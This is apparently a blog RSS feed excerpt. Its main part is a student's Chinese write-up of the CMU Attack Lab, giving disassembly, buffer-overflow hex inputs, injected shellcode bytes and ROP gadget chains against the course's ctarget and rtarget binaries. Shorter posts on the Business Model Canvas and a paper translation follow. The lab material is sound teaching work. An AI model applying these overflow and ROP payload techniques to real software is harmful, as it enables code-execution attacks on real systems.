   0x000000000040179d &amp;lt;+7&amp;gt;:	callq  0x401a36 &amp;lt;Gets&amp;gt;
   0x00000000004017a2 &amp;lt;+12&amp;gt;:	mov    $0x1,%eax
   0x00000000004017a7 &amp;lt;+17&amp;gt;:	add    $0x38,%rsp
   0x00000000004017ab &amp;lt;+21&amp;gt;:	retq   
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;disas touch1
#输出：
	 0x00000000004017ac &amp;lt;+0&amp;gt;:	sub    $0x8,%rsp
   0x00000000004017b0 &amp;lt;+4&amp;gt;:	movl   $0x1,0x202d42(%rip)        # 0x6044fc &amp;lt;vlevel&amp;gt;
   0x00000000004017ba &amp;lt;+14&amp;gt;:	lea    0x1968(%rip),%rdi        # 0x403129
   0x00000000004017c1 &amp;lt;+21&amp;gt;:	callq  0x400c70 &amp;lt;puts@plt&amp;gt;
   0x00000000004017c6 &amp;lt;+26&amp;gt;:	mov    $0x1,%edi
   0x00000000004017cb &amp;lt;+31&amp;gt;:	callq  0x401ca6 &amp;lt;validate&amp;gt;
   0x00000000004017d0 &amp;lt;+36&amp;gt;:	mov    $0x0,%edi
   0x00000000004017d5 &amp;lt;+41&amp;gt;:	callq  0x400de0 &amp;lt;exit@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;getbuf是不安全的，它建立0x38大小的缓冲区，希望读入0x38的数据，但是我们一旦输入的数据超过0x38，会将getbuf的返回地址覆盖。&lt;/p&gt;
&lt;p&gt;所以思路是，写满缓冲区，并将溢出部分（原本的返回地址）设置为touch1的地址，这样getbuf将直接返回到touch1&lt;/p&gt;
&lt;p&gt;touch1地址为0x00000000004017ac&lt;/p&gt;
&lt;p&gt;所以只需要将getbuf()函数返回地址修改为0x00000000004017ac，利用缓冲区溢出的原理&lt;/p&gt;
&lt;p&gt;新建输入文件level1.txt：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim level1.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;填充内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #填满缓冲区
ac 17 40 00 00 00 00 00 #返回地址改为touch1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注意，大部分机器采用小端法，数是反过来的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./hex2raw -i level1.txt | ./ctarget -q
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;顺利通过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: 0x5fc1af14
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	2019302110426
	course	15213-f15
	lab	attacklab
	result	251:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 17 40 00 00 00 00 00 

&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;touch2&#34;&gt;touch2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;disas touch2
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;	 0x00000000004017da &amp;lt;+0&amp;gt;:	sub    $0x8,%rsp
   0x00000000004017de &amp;lt;+4&amp;gt;:	mov    %edi,%edx
   0x00000000004017e0 &amp;lt;+6&amp;gt;:	movl   $0x2,0x202d12(%rip)        # 0x6044fc &amp;lt;vlevel&amp;gt;
   0x00000000004017ea &amp;lt;+16&amp;gt;:	cmp    %edi,0x202d14(%rip)        # 0x604504 &amp;lt;cookie&amp;gt;
   0x00000000004017f0 &amp;lt;+22&amp;gt;:	je     0x40181c &amp;lt;touch2+66&amp;gt;
   0x00000000004017f2 &amp;lt;+24&amp;gt;:	lea    0x197f(%rip),%rsi        # 0x403178
   0x00000000004017f9 &amp;lt;+31&amp;gt;:	mov    $0x1,%edi
   0x00000000004017fe &amp;lt;+36&amp;gt;:	mov    $0x0,%eax
   0x0000000000401803 &amp;lt;+41&amp;gt;:	callq  0x400d90 &amp;lt;__printf_chk@plt&amp;gt;
   0x0000000000401808 &amp;lt;+46&amp;gt;:	mov    $0x2,%edi
   0x000000000040180d &amp;lt;+51&amp;gt;:	callq  0x401d76 &amp;lt;fail&amp;gt;
   0x0000000000401812 &amp;lt;+56&amp;gt;:	mov    $0x0,%edi
   0x0000000000401817 &amp;lt;+61&amp;gt;:	callq  0x400de0 &amp;lt;exit@plt&amp;gt;
   0x000000000040181c &amp;lt;+66&amp;gt;:	lea    0x192d(%rip),%rsi        # 0x403150
   0x0000000000401823 &amp;lt;+73&amp;gt;:	mov    $0x1,%edi
   0x0000000000401828 &amp;lt;+78&amp;gt;:	mov    $0x0,%eax
   0x000000000040182d &amp;lt;+83&amp;gt;:	callq  0x400d90 &amp;lt;__printf_chk@plt&amp;gt;
   0x0000000000401832 &amp;lt;+88&amp;gt;:	mov    $0x2,%edi
   0x0000000000401837 &amp;lt;+93&amp;gt;:	callq  0x401ca6 &amp;lt;validate&amp;gt;
   0x000000000040183c &amp;lt;+98&amp;gt;:	jmp    0x401812 &amp;lt;touch2+56&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;相比于touch1，touch2带参数，在touch2内部将参数与cookie值进行比较，若相等才能过关&lt;/p&gt;
&lt;p&gt;地址为：0x00000000004017da&lt;/p&gt;
&lt;p&gt;不能使用jmp或者call指令，所以将touch2地址压入栈，使用ret指令将touch2地址弹出，并设置为指令寄存器的值，因为touch2将输入的参数与cookie比较，所以把cookie值赋给第一个参数rdi&lt;/p&gt;
&lt;p&gt;注入代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim inject.s
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;movq $0x5fc1af14, %rdi #将cookie赋给rdi寄存器，rdi存放函数第一个参数pushq $0x00000000004017da #压入touch2地址ret #弹出touch2地址，赋给rsi，这两步是为了跳转到touch2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;生成为.o文件：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;gcc -c inject.s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;查看.o文件，从而获得可执行的指令序列&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;objdump -d inject.o
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disassembly of section .text:

0000000000000000 &amp;lt;.text&amp;gt;:
   0:	48 c7 c7 14 af c1 5f 	mov    $0x5fc1af14,%rdi
   7:	68 da 17 40 00  	pushq  $0x4017da
   e:	c3 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;所以这三条指令序列：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;48 c7 c7 14 af c1 5f ff 34 25 da 17 40 00 c3 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;寻找getbuf的rsp地址，实现覆盖&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb ctargetbreak getbufrun -qdisas
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;disas输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas
Dump of assembler code for function getbuf:
=&amp;gt; 0x0000000000401796 &amp;lt;+0&amp;gt;:	sub    $0x38,%rsp
   0x000000000040179a &amp;lt;+4&amp;gt;:	mov    %rsp,%rdi
   0x000000000040179d &amp;lt;+7&amp;gt;:	callq  0x401a36 &amp;lt;Gets&amp;gt;
   0x00000000004017a2 &amp;lt;+12&amp;gt;:	mov    $0x1,%eax
   0x00000000004017a7 &amp;lt;+17&amp;gt;:	add    $0x38,%rsp
   0x00000000004017ab &amp;lt;+21&amp;gt;:	retq   
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;stepi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;查看rsp值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p/x $rsp
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;$1 = 0x55660a78 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;touch2地址：0x55660a78&lt;/p&gt;
&lt;p&gt;getbuf和第一关大小一样，都是0x38&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim level2.txt
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;48 c7 c7 14 af c1 5f 68 
da 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;./hex2raw -i level2.txt | ./ctarget -q
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;./hex2raw -i level5.txt | ./rtarget -q&lt;/p&gt;
&lt;p&gt;0x55660ab0&lt;/p&gt;
&lt;p&gt;0x55660a78&lt;/p&gt;
&lt;h3 id=&#34;touch3&#34;&gt;touch3&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/Hdx8wkiRSQFCEZp.png&#34; alt=&#34;image-20211117174559398&#34;&gt;&lt;/p&gt;
&lt;p&gt;![image-20211117174622704](/Users/wangweiwei/Library/Application Support/typora-user-images/image-20211117174622704.png)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;disas touch3
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;   0x00000000004018f1 &amp;lt;+0&amp;gt;:	push   %rbx   0x00000000004018f2 &amp;lt;+1&amp;gt;:	mov    %rdi,%rbx   0x00000000004018f5 &amp;lt;+4&amp;gt;:	movl   $0x3,0x202bfd(%rip)        # 0x6044fc &amp;lt;vlevel&amp;gt;   0x00000000004018ff &amp;lt;+14&amp;gt;:	mov    %rdi,%rsi   0x0000000000401902 &amp;lt;+17&amp;gt;:	mov    0x202bfc(%rip),%edi        # 0x604504 &amp;lt;cookie&amp;gt;   0x0000000000401908 &amp;lt;+23&amp;gt;:	callq  0x40183e &amp;lt;hexmatch&amp;gt;   0x000000000040190d &amp;lt;+28&amp;gt;:	test   %eax,%eax   0x000000000040190f &amp;lt;+30&amp;gt;:	je     0x40193e &amp;lt;touch3+77&amp;gt;   0x0000000000401911 &amp;lt;+32&amp;gt;:	mov    %rbx,%rdx   0x0000000000401914 &amp;lt;+35&amp;gt;:	lea    0x1885(%rip),%rsi        # 0x4031a0   0x000000000040191b &amp;lt;+42&amp;gt;:	mov    $0x1,%edi   0x0000000000401920 &amp;lt;+47&amp;gt;:	mov    $0x0,%eax   0x0000000000401925 &amp;lt;+52&amp;gt;:	callq  0x400d90 &amp;lt;__printf_chk@plt&amp;gt;   0x000000000040192a &amp;lt;+57&amp;gt;:	mov    $0x3,%edi   0x000000000040192f &amp;lt;+62&amp;gt;:	callq  0x401ca6 &amp;lt;validate&amp;gt;   0x0000000000401934 &amp;lt;+67&amp;gt;:	mov    $0x0,%edi   0x0000000000401939 &amp;lt;+72&amp;gt;:	callq  0x400de0 &amp;lt;exit@plt&amp;gt;   0x000000000040193e &amp;lt;+77&amp;gt;:	mov    %rbx,%rdx   0x0000000000401941 &amp;lt;+80&amp;gt;:	lea    0x1880(%rip),%rsi        # 0x4031c8   0x0000000000401948 &amp;lt;+87&amp;gt;:	mov    $0x1,%edi
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt; 0x00000000004018f1 &amp;lt;+0&amp;gt;:	push   %rbx
   0x00000000004018f2 &amp;lt;+1&amp;gt;:	mov    %rdi,%rbx
   0x00000000004018f5 &amp;lt;+4&amp;gt;:	movl   $0x3,0x202bfd(%rip)        # 0x6044fc &amp;lt;vlevel&amp;gt;
   0x00000000004018ff &amp;lt;+14&amp;gt;:	mov    %rdi,%rsi
   0x0000000000401902 &amp;lt;+17&amp;gt;:	mov    0x202bfc(%rip),%edi        # 0x604504 &amp;lt;cookie&amp;gt;
   0x0000000000401908 &amp;lt;+23&amp;gt;:	callq  0x40183e &amp;lt;hexmatch&amp;gt;
   0x000000000040190d &amp;lt;+28&amp;gt;:	test   %eax,%eax
   0x000000000040190f &amp;lt;+30&amp;gt;:	je     0x40193e &amp;lt;touch3+77&amp;gt;
   0x0000000000401911 &amp;lt;+32&amp;gt;:	mov    %rbx,%rdx
   0x0000000000401914 &amp;lt;+35&amp;gt;:	lea    0x1885(%rip),%rsi        # 0x4031a0
   0x000000000040191b &amp;lt;+42&amp;gt;:	mov    $0x1,%edi
   0x0000000000401920 &amp;lt;+47&amp;gt;:	mov    $0x0,%eax
   0x0000000000401925 &amp;lt;+52&amp;gt;:	callq  0x400d90 &amp;lt;__printf_chk@plt&amp;gt;
   0x000000000040192a &amp;lt;+57&amp;gt;:	mov    $0x3,%edi
   0x000000000040192f &amp;lt;+62&amp;gt;:	callq  0x401ca6 &amp;lt;validate&amp;gt;
   0x0000000000401934 &amp;lt;+67&amp;gt;:	mov    $0x0,%edi
   0x0000000000401939 &amp;lt;+72&amp;gt;:	callq  0x400de0 &amp;lt;exit@plt&amp;gt;
   0x000000000040193e &amp;lt;+77&amp;gt;:	mov    %rbx,%rdx
   0x0000000000401941 &amp;lt;+80&amp;gt;:	lea    0x1880(%rip),%rsi        # 0x4031c8
   0x0000000000401948 &amp;lt;+87&amp;gt;:	mov    $0x1,%edi
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&#34;language-undefined&#34; data-lang=&#34;undefined&#34;&gt;./hex2raw -i level3.txt | ./ctarget -q
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;48 c7 c7 b8 0a 66 55 68 
f1 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
35 66 63 31 61 66 31 34
00
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Mov cookie地址 rdi&lt;/p&gt;
&lt;p&gt;pop touch3&lt;/p&gt;
&lt;p&gt;ret&lt;/p&gt;
&lt;p&gt;关于cookie字符数组存放的位置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/rZH1G8gwYXABLCk.png&#34; alt=&#34;image-20211117174844978&#34;&gt;&lt;/p&gt;
&lt;p&gt;cookie需要以0结尾：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/17/buo9BYfIeRyDExd.png&#34; alt=&#34;image-20211117174941581&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;rop-touch2&#34;&gt;ROP touch2&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;开启了栈随机化,栈的位置在程序每次运行时都有变化，难以预测攻击字符串的位置（空操作雪橇&lt;code&gt;nop sled&lt;/code&gt;可暴力枚举,太庞大）&lt;/li&gt;
&lt;li&gt;栈空间不允许有可执行指令，限制了可执行代码区域&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Mov4019c5:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)4019c5 + 2 = 4019c7Pop401994:	8d 87 58 90 90 c3    	lea    -0x3c6f6fa8(%rdi),%eax401994 + 2 = 401996
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
96 02 00 00 00 00 00 00 # pop rax , 将返回地址变为getgad1
14 af c1 5f 00 00 00 00 # cookie值，其实是执行 set rax = cookie
37 00 00 00 00 00 00 00 # mov rax rdi
da 17 40 00 00 00 00 00&lt;/p&gt;
&lt;h3 id=&#34;rop-touch3&#34;&gt;ROP touch3&lt;/h3&gt;
&lt;p&gt;mov    %rsp,%rax&lt;/p&gt;
&lt;p&gt;401a00:	8d 87 48 89 e0 94    	lea    -0x6b1f76b8(%rdi),%eax&lt;/p&gt;
&lt;p&gt;401a00 + 2 = 401a02&lt;/p&gt;
&lt;p&gt;add    $0x20,%rax&lt;/p&gt;
&lt;p&gt;4019d2:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax&lt;/p&gt;
&lt;p&gt;4019d2 + 2 = 4019d4&lt;/p&gt;
&lt;p&gt;48 89 c7 :&lt;/p&gt;
&lt;p&gt;4019a2:	8d 87 48 89 c7 92    	lea    -0x6d3876b8(%rdi),%eax&lt;/p&gt;
&lt;p&gt;4019a2 + 2 = 4019a4&lt;/p&gt;
&lt;p&gt;0x00000000004018f1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0:	48 89 e0             	  mov    %rsp,%rax   3:	04 37               	add    $0x37,%rax   5:	48 89 c7             	mov    %rax,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0084 1a 40 00 00 00 00 00 #gadget1d4 19 40 00 00 00 00 00 #gadvget29e 19 40 00 00 00 00 00 #gadget3f1 18 40 00 00 00 00 00 #touch300 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 0035 66 63 31 61 66 31 3400
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;movq %rsp,%rax  : 48 89 e0&lt;/p&gt;
&lt;p&gt;add $0x20,%al #$常数为偏移量，暂时未定 : 04 xx&lt;/p&gt;
&lt;p&gt;movq %rax,%rdi&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/15/1pcX5D9JeAtTLUy.png&#34; alt=&#34;image-20211115110336875&#34;&gt;&lt;/p&gt;
&lt;p&gt;401a84 是gedget1，让rsp = rax&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/15/v19IO5bNXEJnTDW.png&#34; alt=&#34;image-20211115110905570&#34;&gt;&lt;/p&gt;
&lt;p&gt;40 19 d4&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/15/YKIa62Pd5gSWfrN.png&#34; alt=&#34;image-20211115111041884&#34;&gt;&lt;/p&gt;
&lt;p&gt;40 19 9e&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./hex2raw -i level5.txt | ./rtarget -q
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;让我心累的点新的发现&#34;&gt;让我心累的点&amp;amp;新的发现&lt;/h3&gt;
&lt;p&gt;我采用网上教程，过touch2和touch3的时候，方法绝对没错，但是永远过不了。和同学讨论过后，确认我的步骤绝对没错，我开始怀疑给的程序是有bug的。&lt;/p&gt;
&lt;p&gt;于是在IDA上反汇编动态调试（和室友一起），我的docker端口映射有问题，没办法动态调试。发现：当GET()到我的touch2地址时，由于我倒霉，地址里面有0a，读到这一位之后不读了，看get的代码，发现程序读到10（0x0a）时，果然会break。其实想一想也能理解，因为0a是换行符啊！！！&lt;/p&gt;
&lt;p&gt;所以我修改了程序的源代码，0a的时候不break，果然本地通过，&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/23/PRqgUvxEkfVHGpr.png&#34; alt=&#34;image-20211123153846353&#34;&gt;&lt;/p&gt;
&lt;p&gt;但是课程网站上是invalid，果然，网站为了防止我们作弊（修改原代码过程序/直接伪造请求），不能允许我们这样做。&lt;/p&gt;
&lt;p&gt;那咋办了，只能让地址里面不包含0a了，于是打算使用数据将0axx的栈空间全部占满，直接把指令存在test函数的栈帧中：除了写的0特别多，看到👀疼，终于过了。。。&lt;/p&gt;
&lt;p&gt;同样的方法过了touch3&lt;/p&gt;
&lt;p&gt;答案是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/23/GiXE9PFzsmeBCwO.png&#34; alt=&#34;image-20211123154424623&#34;&gt;&lt;/p&gt;
&lt;p&gt;为了造出这个地址，补了非常多0&lt;/p&gt;
&lt;p&gt;实际上进了test栈帧&lt;/p&gt;
&lt;p&gt;那一天本来晚上6点去验收，自己预估10分钟就能弄完，也没吃饭，想着验收完了美美吃一顿，结果因为这个问题一直弄到晚上10:30，最后解决了吃了碗泡面。。。。&lt;/p&gt;
&lt;p&gt;关键是别的同学都没这个问题，我正好随到这个地址，当时觉得自己特别倒霉，现在想想其实还好。&lt;/p&gt;
&lt;p&gt;开辟出了一种新的方法，也对这个攻击的了解更加深刻了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Business_model_canvas</title>
      <link>https://weivwang.github.io/techthinking/business_model_canvas/</link>
      <pubDate>Sun, 14 Nov 2021 23:46:31 +0800</pubDate>
      
      <guid>https://weivwang.github.io/techthinking/business_model_canvas/</guid>
      <description>&lt;p&gt;在“若川视野”微信公众号上看到这个概念，比较感兴趣，于是上网看了相关的资料。觉得是一种有条理的思维方式，不光适用于商业上，做的一些事情也可以套用该模版，遂整理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/14/kC9otfdA1RzINHh.png&#34; alt=&#34;image-20211114234908520&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;definition&#34;&gt;definition&lt;/h3&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;Business Model Canvas&lt;/strong&gt; is a &lt;a href=&#34;https://en.wikipedia.org/wiki/Strategic_management&#34;&gt;strategic management&lt;/a&gt; template used for developing new &lt;a href=&#34;https://en.wikipedia.org/wiki/Business_model&#34;&gt;business models&lt;/a&gt; and documenting existing ones.[&lt;a href=&#34;https://en.wikipedia.org/wiki/Business_Model_Canvas#cite_note-2&#34;&gt;2]&lt;/a&gt;[&lt;a href=&#34;https://en.wikipedia.org/wiki/Business_Model_Canvas#cite_note-3&#34;&gt;3]&lt;/a&gt; It offers a visual chart with elements describing a firm&amp;rsquo;s or product&amp;rsquo;s &lt;a href=&#34;https://en.wikipedia.org/wiki/Value_proposition&#34;&gt;value proposition&lt;/a&gt;, infrastructure, customers, and finances,[&lt;a href=&#34;https://en.wikipedia.org/wiki/Business_Model_Canvas#cite_note-Osterwalder2010-1&#34;&gt;1]&lt;/a&gt; assisting businesses to align their activities by illustrating potential trade-offs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;源自维基百科。&lt;/p&gt;
&lt;h3 id=&#34;description&#34;&gt;description&lt;/h3&gt;
&lt;p&gt;分三个部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Infrastructure 基础设施&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;KP&lt;/strong&gt;:  Key Partnership &lt;strong&gt;(谁可以帮我？)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;cultivate buyer-supplier relationships -&amp;gt; foucs on core activity&lt;/p&gt;
&lt;p&gt;为了价值主张需要具有哪些合作方，这些合作方的价值和利益分别是什么。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;KA&lt;/strong&gt;: Key activities &lt;strong&gt;（我要做什么？）&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The most important activities in executing a company&amp;rsquo;s value proposition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;执行公司价值主张的最重要活动&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;KS&lt;/strong&gt;: Key resources**（我有什么？）**&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The resources that are necessary to create value for the customer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;为了实现价值主张，需要具有的关键资源&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Offering&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;VP&lt;/strong&gt;:  Value propositions&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The collection of products and services a business offers to meet the needs of its customers.&lt;/p&gt;
&lt;p&gt;such as newness, performance, customization, &amp;ldquo;getting the job done&amp;rdquo;, design, brand/status, price, cost reduction, risk reduction,&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;解决客户什么痛点？公司产品的亮点？和其他产品的区别？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The value propositions may be:
Quantitative – price and efficiency
Qualitative – overall customer experience and outcome&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Customers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;CS: Customer segments 客户分类&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Various sets of customers can be segmented based on their different needs and attributes to ensure appropriate implementation of corporate strategy to meet the characteristics of selected groups of clients.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;项目解决的是谁的问题和痛点&lt;/p&gt;
&lt;p&gt;The different types of customer segments include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mass market 大众市场&lt;/li&gt;
&lt;li&gt;Niche market:  Customer segmentation based on specialized needs and characteristics of its clients: e.g. Rolex.&lt;/li&gt;
&lt;li&gt;Segmented：公司在现有客户细分中应用额外的细分。在细分情况下，企业可根据性别、年龄和/或收入进一步区分其客户。&lt;/li&gt;
&lt;li&gt;Diversify: A business serves multiple customer segments with different needs and characteristics. 一个企业服务于具有不同需求和特点的多个客户群体&lt;/li&gt;
&lt;li&gt;Multi-sided platform/market: 为相互依赖的客户群体提供服务 ,例如：信用卡公司将为信用卡持有人提供服务，同时协助接受这些信用卡的商户。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CH: channels&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A company can deliver its value proposition to its targeted customers through different channel&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过哪些渠道向目标客户传递公司的价值主张&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CR : Customer relationships&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;companies must identify the type of relationship they want to create with their customer segments&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我想和客户建立什么样的关系？&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finance&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;C$ :Cost structure&lt;/p&gt;
&lt;p&gt;商业结构：价值驱动和成本驱动。&lt;/p&gt;
&lt;p&gt;成本结构：固定成本/可变成本/规模经济/范围经济&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;R$: Revenue streams 收入流&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The way a company makes income from each customer segment&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;公司盈利的方式: Asset sale/Usage fee/Subscription fees/&amp;ldquo;Lending/leasing/renting  &amp;ldquo;/Licensing /&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Brokerage fees(类似中介？)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>2021JSA</title>
      <link>https://weivwang.github.io/readpapers/2021jsa/</link>
      <pubDate>Sun, 07 Nov 2021 14:42:49 +0800</pubDate>
      
      <guid>https://weivwang.github.io/readpapers/2021jsa/</guid>
      <description>&lt;h2 id=&#34;generalized-and-scalable-offset-based-response-time-analysis-of-fixed-priority-systems&#34;&gt;Generalized and Scalable Offset-Based Response Time Analysis of Fixed Priority Systems&lt;/h2&gt;
&lt;p&gt;作者：Deepak Vedha Raj Sudhakar , Karsten Albers, Frank Slomka&lt;/p&gt;
&lt;p&gt;固定优先级系统的通用和可扩展的基于偏移的响应时间分析&lt;/p&gt;
&lt;p&gt;出处：2021 JSA : Journal of Systems Architecture **，**CCF B类期刊&lt;/p&gt;
&lt;p&gt;Keyword: 分模块表现分析（Modular performance analysis )，实时计算(Real-Time Calculus），定时偏移（Timing offsets），到达曲线（Arrival curves ），服务曲线（Service curves ）&lt;/p&gt;
&lt;p&gt;原文链接：https://www.sciencedirect.com/science/article/pii/S1383762120301296?via%3Dihub&lt;/p&gt;
&lt;p&gt;翻译(基于deepL)：&lt;/p&gt;
&lt;h3 id=&#34;abstract&#34;&gt;Abstract:&lt;/h3&gt;
